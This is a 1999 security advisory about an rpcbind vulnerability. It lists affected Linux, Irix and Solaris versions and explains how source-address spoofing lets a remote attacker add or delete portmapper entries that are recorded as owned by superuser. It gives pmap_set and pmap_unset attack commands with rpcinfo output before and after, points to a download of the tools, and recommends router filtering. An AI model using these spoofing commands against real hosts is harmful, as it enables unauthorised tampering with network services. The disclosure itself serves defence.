http://www.codetalker.com/advisories/misc/pgci-990128.html Title: RPCBIND Vulnerability Date Issued: January 28, 1999 Last Modified: January 28, 1999 Code: PGCI-990128 Source: Misc *** RPCBIND SECURITY ADVISORY *** Re-announced by: Martin Rosa, mrosa@pgci.ca Authored by: Patrick Gilbert, gilbert@pgci.ca The vulnerable versions of rpcbind are contained in: Linux (Redhat) Irix 6.5.2f Wietse's rpcbind 2.1 replacement (Wietse's warns the use of proper filteri ng to be used with his package, although we are sure he didn't intend for anyone to be able to trivially remove/add entries) Solaris 2.6 (you can only add and delete services inserted remotely) Other version have yet to be tested. The versions of rpcbind that are NOT vulnerable are contained in: Openbsd (confirmed by deraadt@cvs.openbsd.org) The preface: Rpcbind is a server that converts RPC program numbers into universal address es. It must be running as root on the host to be able to make RPC calls on a server o n that machine. When an RPC service is started, it tells rpcbind the address at which it is li stening, and the RPC program numbers it is prepared to serve. When a client wishes to make an RPC call to a given program number, it first contacts rpcbind on the server machine to determine the address where RPC requests should be sent. The problem: The problem seems to have sticken around for 2 years now. The vulnerability has been stated before. Yet, some vendors still have not come up with a sound solution. Rpcbind permits a remote attacker to insert and delete entries without superuser status by spoofing a source address. Ironically, it inserts the entries as being owned by superuse r. Consequences are terrible, to say the least. Tests were conducted with the pmap _tools available at the end of this advisory. Example usage: * pmap_set 127.0.0.1 1.1.1.1 100005 1 udp 666 * * This would add to portmapper's list mountd (100005) version 1 on udp * port 666. * * Instead of 127.0.0.1, you could also use 1.1.1.1. It depends on filters * installed on your target's network. $ rpcinfo program version netid address service owner 100000 4 ticots pgci.ca.rpc rpcbind superuser 100000 3 ticots pgci.ca.rpc rpcbind superuser 100000 4 ticotsord pgci.ca.rpc rpcbind superuser 100000 3 ticotsord pgci.ca.rpc rpcbind superuser 100000 4 ticlts pgci.ca.rpc rpcbind superuser 100000 3 ticlts pgci.ca.rpc rpcbind superuser 100000 4 tcp 0.0.0.0.0.111 rpcbind superuser 100000 3 tcp 0.0.0.0.0.111 rpcbind superuser 100000 2 tcp 0.0.0.0.0.111 rpcbind superuser 100000 4 udp 0.0.0.0.0.111 rpcbind superuser 100000 3 udp 0.0.0.0.0.111 rpcbind superuser 100000 2 udp 0.0.0.0.0.111 rpcbind superuser 100005 1 udp 0.0.0.0.2.154 mountd superuser For test purposes, the 100005 entry is deleted, as well as the following entry 100000 4 tcp 0.0.0.0.0.111 rpcbind superuser Example usage: * pmap_unset 127.0.0.1 1.1.1.1 100005 1 * * This would remove mountd (100005) entry from portmapper's list. * The result, much to our surprise, was positive. Both entries have been remotely deleted by an unauthorized third party. $ rpcinfo program version netid address service owner 100000 4 ticots pgci.ca.rpc rpcbind superuser 100000 3 ticots pgci.ca.rpc rpcbind superuser 100000 4 ticotsord pgci.ca.rpc rpcbind superuser 100000 3 ticotsord pgci.ca.rpc rpcbind superuser 100000 4 ticlts pgci.ca.rpc rpcbind superuser 100000 3 ticlts pgci.ca.rpc rpcbind superuser 100000 3 tcp 0.0.0.0.0.111 rpcbind superuser 100000 2 tcp 0.0.0.0.0.111 rpcbind superuser 100000 3 udp 0.0.0.0.0.111 rpcbind superuser 100000 2 udp 0.0.0.0.0.111 rpcbind superuser The solution: Make sure you filter 127.0.0.1 aand localnets at your border router. Bad router hygiene will lead to problems. If the problem persists, contact your local vendor for an rpcbind replacement or update. Are you vulnerable? A copy of the pmap_tools for linux can be obtained here: ftp://ftp.pgci.ca/pub/pmap_tools/